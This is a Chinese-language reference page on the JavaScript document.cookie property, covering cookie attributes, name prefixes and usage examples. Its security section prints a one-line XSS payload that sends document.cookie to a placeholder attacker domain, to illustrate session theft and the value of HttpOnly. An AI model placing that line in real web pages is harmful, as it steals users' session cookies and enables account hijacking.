文件:cookie 屬性
Document 的 cookie 屬性允許你讀取和寫入與文件關聯的 cookie。它作為 cookie 實際值的 getter 和 setter。
注意: document.cookie 可能會導致效能問題,因為它是一個同步 API,在跨程序讀取 cookie 或執行 I/O 操作時會阻塞主執行緒。開發人員應儘可能使用非同步的 Cookie Store API 來管理 cookie。
值
一個包含以分號分隔的所有 cookie(即 key=value 對)的字串。請注意,每個鍵和值可能被空格(空格和製表符)包圍:實際上,RFC 6265 規定每個分號後有一個空格,但某些使用者代理可能不遵守此規定。
你還可以將此屬性賦值為 "key=value" 形式的字串,指定要設定/更新的 cookie。請注意,使用此方法一次只能設定/更新一個 cookie。還要考慮的是
-
以下任何 cookie 屬性值都可以選擇性地跟隨鍵值對,每個屬性值都以分號分隔符開頭
-
;domain=域(例如,example.com或subdomain.example.com):cookie 將傳送到的主機。如果未指定,則預設為當前文件位置的主機部分,並且該 cookie 在子域上不可用。如果指定了域,則始終包含子域。與早期規範相反,域名中的前導點將被忽略,但瀏覽器可能會拒絕設定包含此類點的 cookie。注意:域必須與 JavaScript 源的域匹配。設定到外部域的 cookie 將被悄悄忽略。
-
;expires=UTCString-格式的日期:cookie 的過期日期。如果既未指定expires也未指定max-age,它將在會話結束時過期。警告:當涉及使用者隱私時,重要的是任何 Web 應用程式實現應在一定超時後使 cookie 資料失效,而不是依賴瀏覽器來執行此操作。許多瀏覽器允許使用者指定 cookie 永不過期,這不一定是安全的。
有關格式化此值的資訊,請參閱
Date.toUTCString()。 -
;max-age=最大年齡(秒):cookie 的最大年齡,以秒為單位(例如,一年為60*60*24*365或 31536000)。 -
;partitioned:指示 cookie 應使用分割槽儲存來儲存。有關詳細資訊,請參閱 具有獨立分割槽狀態的 Cookie (CHIPS)。 -
;path=路徑:cookie 的Path屬性的值(有關詳細資訊,請參閱 定義 cookie 的傳送位置)。 -
;samesite:伺服器可以設定Set-Cookie頭的SameSite屬性,以指定何時傳送 cookie。可能的值是lax、strict或none(另請參閱 使用SameSite控制第三方 cookie)。lax值將為所有同站請求和頂級導航 GET 請求傳送 cookie。這足以進行使用者跟蹤,但它將阻止許多跨站請求偽造 (CSRF) 攻擊。這是現代瀏覽器中的預設值。strict值將阻止瀏覽器在所有跨站瀏覽上下文中將 cookie 傳送到目標站點,即使是點選常規連結時也是如此。none值明確表示不應用任何限制。cookie 將在所有請求中傳送——包括跨站請求和同站請求。
-
;secure:指定 cookie 只能透過安全協議傳輸。
-
-
cookie 值字串可以使用
encodeURIComponent()來確保字串不包含任何逗號、分號或空格(這些在 cookie 值中是不允許的)。 -
cookie 名稱可以有一個字首,該字首在支援的使用者代理中對 cookie 的屬性施加特定限制。所有 cookie 字首都以雙下劃線(
__)開頭並以破折號(-)結尾。定義了以下字首:__Secure-:名稱以__Secure-開頭的 cookie 必須由安全頁面 (HTTPS) 設定Secure屬性。__Host-:名稱以__Host-開頭的 cookie 必須由安全頁面 (HTTPS) 設定Secure屬性。此外,它們不能指定Domain屬性,並且Path屬性必須設定為/。這保證了此類 cookie 僅傳送給設定它們的主機,而不傳送給域上的任何其他主機。它還保證它們在主機範圍內設定,並且不能被該主機上的任何路徑覆蓋。這種組合產生了一個儘可能接近將來源視為安全邊界的 cookie。__Http-:名稱以__Http-開頭的 cookie 必須由安全頁面 (HTTPS) 設定Secure標誌,並且必須設定HttpOnly屬性以證明它們是透過Set-Cookie標頭設定的(它們不能透過 JavaScript 功能(例如Document.cookie或 Cookie Store API)設定或修改)。__Host-Http-:名稱以__Host-Http-開頭的 cookie 必須由安全頁面 (HTTPS) 設定Secure標誌,並且必須設定HttpOnly屬性以證明它們是透過Set-Cookie頭設定的。此外,它們還具有與__Host-字首 cookie 相同的限制。這種組合產生了一個儘可能接近將來源視為安全邊界的 cookie,同時確保開發人員和伺服器操作員知道其範圍僅限於 HTTP 請求。
注意:破折號被視為字首的一部分。
注意:這些標誌只能透過
secure屬性設定。
示例
示例 1:簡單用法
<button id="show">Show cookies</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "name=Oeschger; SameSite=None; Secure";
document.cookie = "favorite_food=tripe; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
output.textContent = `> ${document.cookie}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 2:獲取名為 test2 的示例 cookie
<button id="show">Show cookie value</button>
<button id="clear">Clear</button>
<div>
<code id="cookie-value"></code>
</div>
const showBtn = document.getElementById("show");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("cookie-value");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "test1=Hello; SameSite=None; Secure";
document.cookie = "test2=World; SameSite=None; Secure";
showBtn.addEventListener("click", () => {
const cookieValue = document.cookie
.split("; ")
.find((row) => row.startsWith("test2="))
?.split("=")[1];
output.textContent = `> ${cookieValue}`;
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 3:只執行一次
要使用以下程式碼,請將所有出現的單詞 doSomethingOnlyOnce(cookie 的名稱)替換為自定義名稱。
<button id="do-once">Only do something once</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const doOnceBtn = document.getElementById("do-once");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
doOnceBtn.addEventListener("click", () => {
if (
!document.cookie
.split("; ")
.find((row) => row.startsWith("doSomethingOnlyOnce"))
) {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; SameSite=None; Secure";
output.textContent = "> Do something here!";
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 4:重置上一個 cookie
<button id="reset">Reset only once cookie</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const resetBtn = document.getElementById("reset");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
resetBtn.addEventListener("click", () => {
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie =
"doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT; SameSite=None; Secure";
const output = document.getElementById("reset-once");
output.textContent = "> Reset!";
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 5:檢查 cookie 是否存在
<button id="check">Check a cookie exists</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
// Note that we are setting `SameSite=None;` in this example because the example
// needs to work cross-origin.
// It is more common not to set the `SameSite` attribute, which results in the default,
// and more secure, value of `SameSite=Lax;`
document.cookie = "reader=1; SameSite=None; Secure";
checkBtn.addEventListener("click", () => {
if (
document.cookie.split(";").some((item) => item.trim().startsWith("reader="))
) {
output.textContent = '> The cookie "reader" exists';
} else {
output.textContent = '> The cookie "reader" does not exist';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
示例 6:檢查 cookie 是否具有特定值
<button id="check">Check that a cookie has a specific value</button>
<button id="clear">Clear</button>
<div>
<code id="output"></code>
</div>
const checkBtn = document.getElementById("check");
const clearBtn = document.getElementById("clear");
const output = document.getElementById("output");
checkBtn.addEventListener("click", () => {
if (document.cookie.split(";").some((item) => item.includes("reader=1"))) {
output.textContent = '> The cookie "reader" has a value of "1"';
}
});
clearBtn.addEventListener("click", () => {
output.textContent = "";
});
安全
需要注意的是,path 屬性並不能防止從不同路徑未經授權地讀取 cookie。它可以很容易地透過 DOM 繞過,例如透過建立一個具有 cookie 路徑的隱藏 元素,然後訪問此 iframe 的 contentDocument.cookie 屬性。保護 cookie 的唯一方法是使用不同的域或子域,這是由於同源策略。
Cookie 通常用於 Web 應用程式中,以識別使用者及其經過身份驗證的會話。從 Web 應用程式竊取 cookie 會導致劫持經過身份驗證的使用者的會話。竊取 cookie 的常見方法包括使用社會工程或利用應用程式中的跨站指令碼 (XSS) 漏洞 -
new Image().src = `http://www.evil-domain.com/steal-cookie.php?cookie=${document.cookie}`;
HTTPOnly cookie 屬性可以透過阻止透過 JavaScript 訪問 cookie 值來幫助減輕此攻擊。閱讀更多關於Cookie 和安全的資訊。
注意
- 從 Firefox 2 開始,提供了一種更好的客戶端儲存機制——WHATWG DOM Storage。
- 你可以透過將其過期時間更新為零來刪除 cookie。
- 請記住,cookie 越多,每次請求在伺服器和客戶端之間傳輸的資料就越多。這將使每個請求變慢。如果你要保留“僅客戶端”資料,強烈建議你使用 WHATWG DOM Storage。
- RFC 2965(第 5.3 節,“實現限制”)規定 cookie 的鍵或值大小應沒有最大長度,並鼓勵實現支援任意大的 cookie。每個瀏覽器的實現最大值必然不同,因此請查閱各個瀏覽器文件。
獲取和設定 document.cookie 訪問器屬性之間的不對稱性是由於 cookie 的客戶端-伺服器性質,這與其他客戶端-客戶端儲存方法(例如 localStorage)不同
-
伺服器告知客戶端儲存 cookie
httpHTTP/1.0 200 OK Content-type: text/html Set-Cookie: cookie_name1=cookie_value1 Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT [content of the page here] -
客戶端將先前儲存的 cookie 傳送回伺服器
httpGET /sample_page.html HTTP/1.1 Host: www.example.org Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2 Accept: */*
規範
| 規範 |
|---|
| HTML # dom-document-cookie |
瀏覽器相容性
載入中…